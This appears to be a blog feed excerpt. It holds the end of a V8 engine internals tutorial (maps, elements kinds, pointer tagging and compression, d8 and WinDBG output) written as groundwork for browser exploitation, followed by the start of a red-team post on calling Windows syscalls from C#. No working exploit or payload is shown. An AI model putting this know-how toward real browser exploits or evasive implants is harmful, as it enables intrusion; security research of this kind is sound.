<p>The process is then repeated when we execute <code class="language-plaintext highlighter-rouge">obj1.y = 2</code>. A new hidden class called C2 will be created, and a class transition is added to C1 stating that for any object with property <code class="language-plaintext highlighter-rouge">x</code>, if property <code class="language-plaintext highlighter-rouge">y</code> is added, then the hidden class should transition to C2. In the end, all of these class transitions create something known as a “transition tree”.</p>
<p align="center"><a href="/images/Shapes3.png"><img src="/images/Shapes3.png" /></a></p>
<p>Adding on, one must note that class transitions are dependent on the order in which properties are added to an object. So, in case that z was added after y, the “shape” would no longer be the same and follow the same transition path from C1 to C2. Instead, a new hidden class will be created and a new transition path would be added from C1 to account for that new property, further expanding the transition tree.</p>
<p align="center"><a href="/images/Shapes4.png"><img src="/images/Shapes4.png" /></a></p>
<p>Now that we understand this, let’s take a look into how objects look like in memory when a Map is shared between two objects of the same shape.</p>
<p>To start, launch <code class="language-plaintext highlighter-rouge">d8</code> again with the <code class="language-plaintext highlighter-rouge">--allow-natives-syntax</code> parameter, and then enter the following two lines of JavaScript code:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="kd">var</span> <span class="nx">obj1</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="mi">1</span><span class="p">,</span> <span class="na">y</span><span class="p">:</span> <span class="mi">2</span><span class="p">};</span>
<span class="nx">d8</span><span class="o">></span> <span class="kd">var</span> <span class="nx">obj2</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="na">y</span><span class="p">:</span> <span class="mi">3</span><span class="p">};</span>
</code></pre></div></div>
<p>Once completed, we’ll again utilize the <code class="language-plaintext highlighter-rouge">%DebugPrint()</code> command against each of our objects to display their properties, map, and other information. Once executed, notice the following:</p>
<p align="center"><a href="/images/d8-Map.png"><img src="/images/d8-Map.png" /></a></p>
<p>In <span style="color:gold">Yellow</span> we can see both of our objects, <code class="language-plaintext highlighter-rouge">obj1</code> and <code class="language-plaintext highlighter-rouge">obj2</code>. Take note that each is a <code class="language-plaintext highlighter-rouge">JS_OBJECT_TYPE</code> with a different memory address in the heap, because obviously they’re separate objects with potentially different properties.</p>
<p>As we know, both of these objects share the same shape, since they both contain x and y in the same order. In that case, in <span style="color:blue">Blue</span>, we can see that the properties are in the same <code class="language-plaintext highlighter-rouge">FixedArray</code> with the offset for x and y being 0 and 1 respectively. The reason for this is because as we already know, same shaped objects share a HiddenClass (represented in <span style="color:red">Red</span>) that will have the same descriptor array.</p>
<p>As you can see, most of the object’s properties and the Map addresses will be the same, all because both of these objects are sharing that single Map.</p>
<p>Now let’s focus on the <code class="language-plaintext highlighter-rouge">back_pointer</code> that’s highlighted in <span style="color:green">Green</span>. If you look back into our C0 to C2 Map transition example, you’ll notice that we mentioned something called a “transition tree”. This transition tree is created in the background by V8 each time a new HiddenClass is created and allows V8 to link the new and old HiddenClasses together. This <code class="language-plaintext highlighter-rouge">back_pointer</code> is part of that transition tree as it points back to the parent map of where the transition occurred from. This allows V8 to walk the back pointer chain until it finds the map holding an objects properties, i.e. their shape.</p>
<p>Let’s use <code class="language-plaintext highlighter-rouge">d8</code> to take a deeper look into how that works. We’ll use the <code class="language-plaintext highlighter-rouge">%DebugPrintPtr()</code> command again to print the details of an address pointer in V8. In this case we will take the <code class="language-plaintext highlighter-rouge">back_pointer</code> address to view its details. Once done, your output should be similar to mines.</p>
<p align="center"><a href="/images/d8-Map-bp.png"><img src="/images/d8-Map-bp.png" /></a></p>
<p>In <span style="color:green">Green</span> we can see that the <code class="language-plaintext highlighter-rouge">back_pointer</code> resolves to a <code class="language-plaintext highlighter-rouge">JS_OBJECT_TYPE</code> in memory, which in fact turns out to be a Map! This map is that C1 map that we talked about previously. We know how a Map can backtrack to its previous Map, but how does it know what Map to transition to when there is a property added? Well, if we pay close attention to the information within that Map, we’ll notice that below the instance descriptor pointer there is a “transitions” section in <span style="color:red">Red</span>. This transition section contains the information pointed to by the Raw Transition Pointer within the Map structure.</p>
<p>In V8, Map transitions use something called a <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/transitions.h?q=TransitionsAccessor&ss=chromium%2Fchromium%2Fsrc:v8%2F">TransitionsAccessor</a>. This is a helper class that encapsulates access to the various ways a Map can store transitions to other maps in its respective field at <code class="language-plaintext highlighter-rouge">Map::kTransitionsOrPrototypeInfo</code> other known as the Raw Transition Pointer that we mentioned earlier. This pointer points to something known as a <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/transitions.h?q=TransitionArray&ss=chromium%2Fchromium%2Fsrc:v8%2F">TransitionArray</a> which again is a <code class="language-plaintext highlighter-rouge">FixedArray</code> that holds map transitions for property changes.</p>
<p>Looking back into the <span style="color:red">Red</span> highlighted section, we can see that there is only one transition in that transition array. Within that array we can see that transition #1 details a transition for when the y property is added to the object. If y is added, it tells the map to update itself with the map stored in <code class="language-plaintext highlighter-rouge">0x007f00259735</code> which matches our current map! In the case that there was another transition, for example, z was added to x instead of y, then we would have two items within that transition array, each pointing to its respective map for that objects shape.</p>
<blockquote>
<p><strong>NOTE</strong>: If you would like to play around with Maps and have another visual representation of Map transitions, I recommend utilizing V8’s <a href="https://v8.dev/blog/system-analyzer">Indicium</a> tool. The tools is a unified web interface that allows one to trace, debug and analyze patterns of how Maps are created and modified in real-world applications.</p>
</blockquote>
<p>Now, what would happen to the transition tree if we deleted a property? Well, in this case there is a nuance to V8 creating a new map each time a property deletion occurs. As we know, maps are relatively expensive when it comes to memory usage, so at a certain point the cost of inheriting and maintaining a transition tree will get larger and slower. In the case the last property of an object is deleted, the Map will just adjust the back pointer to go back to its previous map, instead of creating a new one. But what happens if we delete the middle property of an object? Well in that case V8 will give up on maintaining the transition tree whenever we are adding too many attributes or deleting non-last elements, and it’ll switch to a slower mode known as dictionary mode.</p>
<p>So, what is this dictionary mode? Well, now that we know how V8 uses HiddenClasses to track the shape of objects, we can now go back full circle and dive into further understanding how these Properties and Elements are actually stored and handled in V8.</p>
<h2 id="properties">Properties</h2>
<p>As explained previously, we know that JavaScript objects have two fundamental kinds of properties: named properties and indexed elements. We’ll start by covering named properties.</p>
<p>If you recall back to our discussion on Maps and the Descriptor Array, we mentioned named properties being stored either In-Object or within the Property array. What is this In-Object Property that we are talking about?</p>
<p>Well, in V8 this mode is a very fast method of storing properties directly on the object since they are accessible without any indirection. Although they are very fast, they are also limited to the initial size of the object. If more properties get added than there is space in the object, then the new properties are stored within the properties store - which adds one level of indirection.</p>
<p>In general, there are two “modes” that JavaScript engines use to store properties, and those are called:</p>
<ul>
<li><strong>Fast Properties</strong>: Typically used to define the properties stored in the linear properties store. These properties are simply accessed by index in the properties store by consulting the Descriptor Array array within the HiddenClass.</li>
<li><strong>Slow Properties</strong>: Also known as “dictionary mode”, this mode is utilized when there are too many properties being added or deleted - resulting in a lot of memory overhead. As a result, an object with slow properties will have a self-contained dictionary as a properties store. All the properties meta information is no longer stored in the Descriptor Array in the HiddenClass but directly in the properties dictionary. V8 will then use a hash table to access these properties.</li>
</ul>
<p>An example of how a Map would look like when it transitions to slow properties with the self-contained dictionary can be seen below.</p>
<p align="center"><a href="/images/PropertyDict.png"><img src="/images/PropertyDict.png" /></a></p>
<p>One thing must be noted here as well. Shape transitions only work for fast properties and not slow properties due to the fact that dictionary shapes are used by a single object only, so they can’t be shared between different objects and therefore have no transitions.</p>
<h2 id="elements">Elements</h2>
<p>Alright, at this point we pretty much covered named properties. Now let’s take a look at array-indexed properties or elements. One would think that the handling of indexed properties would be less complex… but you would be wrong to assume that. The handling of elements is no less complex then named properties. Even though all indexed properties are kept in the elements store, V8 makes a very precise distinction on what kind of elements each array contains. There is actually ~<a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/elements-kind.h;l=78">21 different types of elements</a> that can be tracked within that store! This initially allows V8 to optimize any operations on the array specifically for that type of element.</p>
<p>What do I mean by that? Well, let’s take this line of code for example:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
</code></pre></div></div>
<p>In JavaScript if we run the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a> operation against this, it would say that the array contains <code class="language-plaintext highlighter-rouge">numbers</code> because JavaScript does not distinguish the difference between an integer, float, or double. However, V8 makes much more precise distinctions and will classify this array as a <code class="language-plaintext highlighter-rouge">PACKED_SMI_ELEMENTS</code>, with SMI referring to Small Integers.</p>
<p>So, what’s with the SMI? Well, V8 keeps track of what kind of elements each array contains. It then uses this information to optimize array operations for this type of element. Within V8 there are three distinct element types that we need to know about, and they are:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">SMI_ELEMENTS</code> - Used to represent an array that contains small integers, such as 1,2,3, etc.</li>
<li><code class="language-plaintext highlighter-rouge">DOUBLE_ELEMENTS</code> - Used to represent an array that contains floating-point numbers, such as 4.5, 5.5, etc.</li>
<li><code class="language-plaintext highlighter-rouge">ELEMENTS</code> - Used to represent an array that contains string literal elements or values that cannot be represented as an SMI or Double, such as ‘x’.</li>
</ul>
<p>So how does V8 use these element types for an array? Are they set for the array or for each element? The answer is that the element type is set for the array. The important thing we have to remember is that element kinds have a “transition” that only go in one direction. We can view this transition tree from a “top down” approach as such.</p>
<p align="center"><a href="/images/elements-transition.png"><img src="/images/elements-transition.png" /></a></p>
<p>For example, let’s take our array example from before:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
<span class="c1">// Elements Kind: PACKED_SMI_ELEMENTS</span>
</code></pre></div></div>
<p>As you can see, V8 tracks this array’s elements kind as a packed SMI (we’ll detail what packed is in a moment). Now, if we were to add a floating-point number, then the array’s elements kind would “transition” to the Double elements kind, as such.</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
<span class="c1">// Elements Kind: PACKED_SMI_ELEMENTS</span>
<span class="nx">array</span><span class="p">.</span><span class="nx">push</span><span class="p">(</span><span class="mf">3.337</span><span class="p">)</span>
<span class="c1">// Elements Kind: PACKED_DOUBLE_ELEMENTS</span>
</code></pre></div></div>
<p>The reason for this transition is simple, operation optimizations. Because we have a floating-point integer, V8 needs to be able to perform optimizations on those values so it transitions down one step to <code class="language-plaintext highlighter-rouge">DOUBLES</code> because a set of numbers that can be represented as a <code class="language-plaintext highlighter-rouge">SMI</code> is a subset of the numbers that can be represented as a double.</p>
<p>Since elements kind transitions go one way, once an array is marked with a lower elements kind, such as <code class="language-plaintext highlighter-rouge">PACKED_DOUBLES_ELEMENTS</code> it can no longer go back “up” to <code class="language-plaintext highlighter-rouge">PACKED_SMI_ELEMENTS</code>, even if we replace or remove that floating-point integer. In general, the more specific an elements kind is when you create an array, the more fine-grained optimizations are enabled. The further down the elements kind you go, the slower manipulations of that object might be.</p>
<p>Next, we also need to understand the first major distinction that V8 has when it tracks element backing stores when an index is deleted, or empty. And those are:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">PACKED</code> - Used to represent arrays that are dense, meaning that all available elements in the array have been populated.</li>
<li><code class="language-plaintext highlighter-rouge">HOLEY</code> - Used to represent arrays that have “holes” in them, such as when an indexed element is deleted, or not defined. This is also known as making an array “sparse”.</li>
</ul>
<p>So let’s take a closer look at this. For example, let’s take the following two arrays:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">packed_array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mf">5.5</span><span class="p">,</span><span class="dl">'</span><span class="s1">x</span><span class="dl">'</span><span class="p">];</span>
<span class="c1">// Elements Kind: PACKED_ELEMENTS</span>
<span class="kd">const</span> <span class="nx">holey_array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,,</span><span class="mi">5</span><span class="p">,</span><span class="dl">'</span><span class="s1">x</span><span class="dl">'</span><span class="p">];</span>
<span class="c1">// Elements Kind: HOLEY_ELEMENTS</span>
</code></pre></div></div>
<p>As you can see, the <code class="language-plaintext highlighter-rouge">holey_array</code> has “holes” in it, since we forgot to add the <code class="language-plaintext highlighter-rouge">3</code> to the index and just left it blank or undefined. The reason that V8 makes this distinction is because operations on packed arrays can be optimized more aggressively than operations on holey arrays. If you want to learn more about that, then I suggest you watch Mathias Bynens’s talk “<a href="https://www.youtube.com/watch?v=m9cTaYI95Zc">V8 internals for JavaScript Developers</a>” which details this very well.</p>
<p>V8 also implements the previously mentioned elements kind transitions on both <code class="language-plaintext highlighter-rouge">PACKED</code> and <code class="language-plaintext highlighter-rouge">HOLEY</code> arrays, which forms a “lattice”. A simple visualization of those transitions from the V8 blog can be seen below.</p>
<p align="center"><a href="https://v8.dev/_img/elements-kinds/lattice.svg"><img src="https://v8.dev/_img/elements-kinds/lattice.svg" /></a></p>
<p>Again, we must remember that elements kinds have one-way downward transitions through this lattice. Such as adding a floating-point to an SMI array will mark it double, and similarly, once a hole is created in an array, it’s marked as holey forever, even when you fill it later.</p>
<p>V8 also has a second major distinction made on elements that we need to understand. In the element backing stores, just like in the properties store, elements can also be either fast or in dictionary-mode (slow). Fast elements are simply an array where the property index maps to the offset of the item in the elements store. As for slow array’s, this happens when there are large sparse arrays where only a few entries are occupied. In this case, the array backing store uses a dictionary representation such as we’ve seen in the properties store to save memory at the cost of performance. That dictionary will store the key, value, and element attributes within the dictionary triplet values.</p>
<h2 id="viewing-chrome-objects-in-memory">Viewing Chrome Objects In-Memory</h2>
<p>At this point we covered a lot of complex topics on both JavaScript and V8 internals. Hopefully at this point you have a somewhat decent understanding of some of the concepts that make V8 work under the hood. Now that we have that knowledge, it’s time we jump into observing how V8 and its objects look like in memory when observed via WinDBG and what type of optimizations are in use.</p>
<p>The reason we are using WinDBG is because when we will be writing exploits, debugging our POC, etc. we will mostly be using WinDBG in combination with d8. In that case, it’s good for us to be able to grasp and understand the nuances of V8’s memory structure. In case you’re not familiar with WinDBG, then I suggest you read and get familiar with the “<a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/getting-started-with-windbg">Getting Started with WinDbg (User-Mode)</a>” blog post from Microsoft and read “<a href="https://blog.mattjustice.com/2018/08/24/gdb-for-windbg-users/">GDB commands for WinDbg Users</a>” if you used GDB before.</p>
<p>I know that we already looked into memory structures of objects and maps, and have messed around with d8 - so we should have a general idea of what points to what and where things are in memory. But, don’t be fooled that it will be so easy. As with everything in V8, optimizations play a big part in allowing it to be fast and efficient, this also is true to how it handles and stores values in memory.</p>
<p>What do I mean by that? Well let’s take a quick look into a simple V8 object structure using d8 and WinDBG. To start, let’s initiate d8 again with the <code class="language-plaintext highlighter-rouge">--allow-natives-syntax</code> option, and create a simple object, such as:</p>
<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">d8</span><span class="o">></span> <span class="kd">var</span> <span class="nx">obj</span> <span class="o">=</span> <span class="p">{</span><span class="na">x</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span> <span class="na">y</span><span class="p">:</span><span class="mi">2</span><span class="p">}</span>
</code></pre></div></div>
<p>Once done, let’s go ahead and use the <code class="language-plaintext highlighter-rouge">%DebugPrint()</code> function to print out the objects information.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>d8> var obj = {x:1, y:2};
d8> %DebugPrint(obj)
DebugPrint: 000002530010A509: [JS_OBJECT_TYPE]
- map: 0x025300259735 <Map[20](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x025300244669 <Object map = 0000025300243D25>
- elements: 0x025300002259 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x025300002259 <FixedArray[0]>
- All own properties (excluding elements): {
00000253000041ED: [String] in ReadOnlySpace: #x: 1 (const data field 0), location: in-object
00000253000041FD: [String] in ReadOnlySpace: #y: 2 (const data field 1), location: in-object
}
0000025300259735: [Map] in OldSpace
- type: JS_OBJECT_TYPE
- instance size: 20
- inobject properties: 2
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- back pointer: 0x0253002596ed <Map[20](HOLEY_ELEMENTS)>
- prototype_validity cell: 0x0253002043cd <Cell value= 1>
- instance descriptors (own) #2: 0x02530010a539 <DescriptorArray[2]>
- prototype: 0x025300244669 <Object map = 0000025300243D25>
- constructor: 0x02530024422d <JSFunction Object (sfi = 000002530021BA25)>
- dependent code: 0x0253000021e1 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0
</code></pre></div></div>
<p>Afterwards, launch WinDBG and attach it to the d8 process. Once the debugger is hooked in, we’ll execute the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/d--da--db--dc--dd--dd--df--dp--dq--du--dw--dw--dyb--dyd--display-memor">dq</a> command followed by our object’s memory address (<code class="language-plaintext highlighter-rouge">0x0000020C0010A509</code>) to display its memory contents. Your output should be pretty similar to mines.</p>
<p align="center"><a href="/images/windbg-1.png"><img src="/images/windbg-1.png" /></a></p>
<p>Looking into the WinDBG output, we can see that we are using the correct memory address for the object. But, when we look into the memory contents, the first address (which should be a pointer to the map - if you recall our JSObject structure) seems to be corrupted. Well, one would think it’s corrupted, the more experienced reverse engineers or exploit dev’s would maybe even think that there is an offset/alignment issue, and you would technically be close, but not correct.</p>
<p>This again my friends are V8’s optimizations at work. You can see why we need to discuss these optimizations, because to an untrained eye you would get seriously lost and confused as to what is going on in memory. What we’re actually seeing here are two things - Pointer Compression and Pointer Tagging.</p>
<p>We’ll start by first understanding Pointer or Value tagging in V8.</p>
<h2 id="pointer-tagging">Pointer Tagging</h2>
<p>So, what is pointer tagging and why do we use it? Well as we know it, in V8, values are represented as objects and allocated on the heap - no matter if they are an object, array, number, or string. Now, many JavaScript programs actually perform calculations on integer values, so if we constantly had to create a new <code class="language-plaintext highlighter-rouge">Number()</code> object in JavaScript each time we increment or modify a value then this results in an overhead of time for creating the object, heap tracking, and it increases the memory space used, making this very inefficient.</p>
<p>In that case, what V8 will do, is that instead of creating a new object each time, it will actually store some of the values inline. While this works, it creates a second problem for us. And that problem is, how do we differentiate an object pointer from a inline value? Well, this is where <a href="https://en.wikipedia.org/wiki/Tagged_pointer">pointer tagging</a> comes into play.</p>
<p>Pointer tagging’s technique is based on the observation that on x32 and x64 systems, allocated data must be at word-aligned (4 byte) boundaries. Because data is aligned this way, the least significant bits (LSB) will always be zero. Tagging will then use the two bottom bits or least significant bits to differentiate between a heap object pointer and an integer or SMI.</p>
<p>On an x64 architecture, the following tagging scheme is used:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> |----- 32 bits -----|----- 32 bits -------|
Pointer: |________________address______________(w1)|
Smi: |____int32_value____|000000000000000000(0)|
</code></pre></div></div>
<p>As you can see from the example, a 0 is used to represent a SMI, and a 1 is used to represent a pointer. Just one thing to note, is you are looking at SMI’s in memory, while they are stored inline, they are actually doubled to avoid a pointer tag. So, if you original value is 1, it will be 2 in the memory.</p>
<p>Within the pointer we also have a <em>w</em> in the second LSB which denotes a bit that is used to distinguish between a strong or weak pointer reference. If you’re not familiar with what a strong vs weak pointer is, I’ll explain. Simply a <em>strong</em> pointer is a pointer that indicates that the object pointed to must remain in memory (it represents an object), while a <em>weak</em> pointer is a pointer that simply points to data that might have been deleted. When the GC or garbage collector deletes an object, it has to delete the strong pointer as it’s the one that holds a reference count.</p>
<p>With this pointer tagging scheme, arithmetic or binary operations on integers can ignore the tag as the lower 32 bits will be all zeroes. However, when it comes to dereferencing a HeapObject then V8 needs to mask off the least significant bit first, which a special accessor is used for to that take care of clearing the LSB.</p>
<p>Knowing that now, let’s go back to our example in WinDBG and clear that LSB by subtracting 1 from the address. That should then provide us with valid memory addresses. Once done, your output should look like so.</p>
<p align="center"><a href="/images/windbg-2.png"><img src="/images/windbg-2.png" /></a></p>
<p>As you can see, once we clear the LSB, we now have valid pointer addresses in memory! In particular we have the map, properties, elements, and then our inline objects. Again, note that SMI’s are <strong>doubled</strong> so x which holds 1 is actually 2 in memory, and same holds true for 2, as it is now 4.</p>
<p>To those with a keen eye, you might have noticed that only half of the pointer actually points to the object in memory. Why is that? If your answer was “another optimization” then you would be right. This is something called Pointer Compression, which we will now talk about.</p>
<h2 id="pointer-compression">Pointer Compression</h2>
<p>Pointer Compression in Chrome and V8 makes use of an interesting property of objects on the heap, and that’s that heap objects are usually close to one another, so the most significant bits of the pointer will probably be the same. In that case, V8 only saves half of the pointer (the least significant bits) to memory and puts the most significant bits (upper 32 bits) of V8’s heap (known as the <strong>isolate root</strong>) into a <strong>root register</strong> (R13). Whenever we need to access a pointer, the register and the value in memory are just added together and we get our full address. The compression scheme is implemented within the <a href="https://source.chromium.org/chromium/chromium/src/+/main:v8/src/common/ptr-compr-inl.h"><code class="language-plaintext highlighter-rouge">/src/common/ptr-compr-inl.h</code></a> source file in V8.</p>
<p>Basically, the goal that the V8 team was trying to accomplish was to somehow fit both kinds of tagged values into 32 bits on 64-bit architectures, specifically to reduce overhead in V8 to try and get back as many wasted 4 bytes as possible within the x64 architecture.</p>
<h2 id="closing">Closing</h2>
<p>And that about does it for our deep dive into JavaScript and V8 internals! I hope you enjoyed this post and I sincerely hope it helped some of you learn the complexities of V8.</p>
<p>I know this was a lot to cover, and honestly, it’s very complex at first - so take your time to read through this and make sure you understand the basic concepts, because you’ll need to understand how all of this works under the hood before we can exploit it. Remember, to know how to break something, we first need to know how it works.</p>
<p>In part two of this blog post series, we’ll go back into further understanding the compiler pipeline, and explain what happens under the hood in Ignition, Spark-Plug, and TurboFan. We’ll also be focusing more on the JIT compiler, speculative guards, optimizations, assumptions and more which will then allow us to better understand common JavaScript engine vulnerabilities such as type confusions.</p>
<h2 id="kudos">Kudos</h2>
<p>I would like to sincerely thank <a href="https://twitter.com/maxpl0it">maxpl0it</a> and <a href="https://twitter.com/gymR4T">Fletcher</a> for proofreading this blog post, providing critical feedback and adding in a few important details before it’s release. You guys are awesome for taking the time to review this post for accuracy and readability. Thank you!</p>
<h2 id="references">References</h2>
<ul>
<li><a href="http://www.phrack.org/issues/70/3.html">Attacking JavaScript Engines - A Case Study of JavaScriptCore and CVE-2016-4622</a></li>
<li><a href="https://www.youtube.com/watch?v=IFWulQnM5E0">A Tale of Types, Classes, and Maps by Benedikt Meurer</a></li>
<li><a href="https://jayconrod.com/posts/52/a-tour-of-V8--object-representation">A tour of V8: Object Representation</a></li>
<li><a href="http://phrack.org/issues/70/9.html#article">Exploiting Logic Bugs in JavaScript JIT Engines</a></li>
<li><a href="https://v8.dev/blog/fast-properties">Fast properties in V8</a></li>
<li><a href="https://blog.dashlane.com/how-is-data-stored-in-v8-js-engine-memory/">How is Data Stored in V8 JS Engine Memory</a></li>
<li><a href="https://benediktmeurer.de/2018/06/14/javascript-engine-fundamentals-shapes-and-inline-caches/">JavaScript Engine fundamentals: Shapes and Inline Caches</a></li>
<li><a href="https://draft.li/blog/2016/12/22/javascript-engines-hidden-classes/">JavaScript Engines Hidden Classes</a></li>
<li><a href="http://richardartoul.github.io/jekyll/update/2015/04/26/hidden-classes.html">Javascript Hidden Classes and Inline Caching in V8</a></li>
<li><a href="https://www.sciencedirect.com/science/article/pii/S2666281722000816">Juicing V8: A Primary Account for the Memory Forensics of the V8 JavaScript Engine</a></li>
<li><a href="https://github.com/danbev/learning-v8">Learning V8</a></li>
<li><a href="https://www.youtube.com/watch?v=m9cTaYI95Zc">Mathias Bynens - V8 Internals for JavaScript Developers</a></li>
<li><a href="https://v8.dev/blog/pointer-compression">Pointer Compression in V8</a></li>
<li><a href="https://darksi.de/6.smis-and-doubles/">SMIs and Doubles</a></li>
<li><a href="https://zon8.re/posts/v8-chrome-architecture-reading-list-for-vulnerability-researchers/">V8 / Chrome Architecture Reading List - For Vulnerability Researchers</a></li>
<li><a href="https://v8.dev/blog">V8 Dev Blog</a></li>
<li><a href="https://medium.com/@bpmxmqd/v8-engine-jsobject-structure-analysis-and-memory-optimization-ideas-be30cfcdcd16">V8 Engine JSObject Structure Analysis and Memory Optimization Ideas</a></li>
<li><a href="https://engineering.linecorp.com/en/blog/v8-hidden-class/">V8 Hidden Class</a></li>
</ul>Jack Halonjacek.halon@gmail.comWeb browsers, our extensive gateway to the internet. Browsers today play a vital role in modern organizations as more and more software applications are delivered to users via a web browser in the form of web applications. Pretty much everything you might have done on the internet involves the use of a web browser, and as a result, browsers are among the most utilized consumer facing software products on the planet.Red Team Tactics: Utilizing Syscalls in C# - Writing The Code2020-04-16T00:00:00+00:002020-04-16T00:00:00+00:00https://jhalon.github.io/utilizing-syscalls-in-csharp-2<p>In my previous post “<a href="https://jhalon.github.io/utilizing-syscalls-in-csharp-1/">Red Team Tactics: Utilizing Syscalls in C# - Prerequisite Knowledge</a>”, we covered some basic prerequisite concepts that we needed to understand before we could utilize syscalls in C#. We touched on some in-depth topics like windows internals and of course syscalls. We also went over how the .NET Framework functions and how we can utilize unmanaged code in C# to execute our syscall assemblies.</p>
<p>Now, if you haven’t read my previous post yet - then I <strong>highly</strong> recommend that you do so. Otherwise you might be lost and totally unfamiliar with some of the topics presented here. Of course, I’ll try to explain the best I can and provide links to external resources for some topics - but everything (mostly everything) that will be talked about here, is in the previous post! 😁</p>
<p>For today’s blog post, we will focus on actually writing the code to execute a valid syscall by utilizing everything that we learned. In addition to writing the code, we’ll also go over some concepts to managing our code so that we can prepare it for future integration between other tools. This integration idea will be similar to how <a href="https://github.com/cobbr/SharpSploit">SharpSploit</a> by <a href="https://twitter.com/cobbr_io">Ryan Cobb</a> was developed to be integrated with other C# projects - but our’s won’t go to such an extent.</p>
<p>My initial idea for this part of the blog post was to walk you through developing an actual tool that we could use during operations - like <a href="https://github.com/outflanknl/Dumpert">Dumpert</a> or <a href="https://github.com/jthuraisamy/SysWhispers">SysWhispers</a>. But after some consideration to how long and complex the blog post would get, I instead opted to code a simple PoC (Proof of Concept) demonstrating the execution of a single syscall.</p>
<p>I truly believe that after reading this blog post and going over the code example (which I will also post on <a href="https://github.com/jhalon/SharpCall">GitHub</a>), you’ll be able to code a tool on your own! I’ll also include a few links to tools that utilize the same syscall concepts in C# at the end of this post if you need more inspiration.</p>
<p>Who knows, maybe I’ll opt to do a live stream where we can all write a cool new tool together! 😏</p>
<p>Alright, with that out of the way, let’s open up Visual Studio or Visual Code, and get our hands dirty with some code!</p>
<h2 id="devising-our-code-and-class-structure">Devising our Code and Class Structure</h2>
<p>If there’s one thing that I learned when writing custom tools for red team operation - be it malware or some sort of implant - is that we need to organize our code and idea, and separate them into classes.</p>
<p><a href="https://docs.microsoft.com/en-us/dotnet/csharp/tour-of-csharp/classes-and-objects">Classes</a> are one of the most fundamental C#’s types. Simply, a class is a data structure that combines fields and methods (as well as other function members) in a single unit. Of course classes can be used as objects and support <a href="https://docs.microsoft.com/en-us/dotnet/csharp/tutorials/inheritance">inheritance</a> and <a href="https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/classes-and-structs/polymorphism">polymorphism</a>, which are mechanisms whereby our derived classes can extend and specialize other base classes.</p>
<p>Upon creation, these classes can then be utilized across our code base by adding the “<a href="https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/using-directive">using</a>” directive inside another source code file. This will then allow us to access our previous classes static members and nested types without having to qualify the access with the class name.</p>
<p>For example, let’s say we had a new class called “<strong>Syscalls</strong>” that housed our syscall logic. If we didn’t add the <strong>using</strong> directive to our C# code, then we would need to qualify our function with the full class name. So if our Syscalls class contained a syscall assembly for <strong>NtWriteFile</strong>, then to access that method inside another class, we would do something like <code class="language-plaintext highlighter-rouge">Syscalls.NtWriteFile</code>. Which is fine, but it get’s tiresome after a few times of calling the class repeatedly.</p>
<p>Now, some of you might ask - “<em>Why do we need this?</em>”</p>
<p>Two reasons. One, it’s for organizational purposes and to keep our code “clean”. Two, it allows us to debug and fix issues in our code with ease instead of scrolling through a massive blob of text and trying to find the hide and seek champion known as the semicolon.</p>
<p>With that aside, let’s try being by organizing our code! For starters, let’s create an new project for a .NET Framework Console App and set it to use the 3.5 .NET Framework - like so.</p>
<p align="center"><a href="/images/syscall-proj.png"><img src="/images/syscall-proj.png" /></a></p>
<p>Once completed, you should now have access to a new C# file called <code class="language-plaintext highlighter-rouge">Program.cs</code>. If we look at the right hand side of Visual Studio, we will notice that in our Solution Explorer we have the following solution structure.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+SharpCall SLN (Solution)
|
+->Properties
|
+->References
|
+->Program.cs (Main Program)
</code></pre></div></div>
<p>Our <code class="language-plaintext highlighter-rouge">Program.cs</code> file will house the main logic of our application. In the case of our PoC, we will want to call and utilize our syscalls in this file. As seen before, system calls occur within the CPU when the <strong>syscall</strong> instruction is called along with a valid syscall identifier. This instruction causes the CPU to switch from user mode to kernel mode to carry out certain privileged operations.</p>
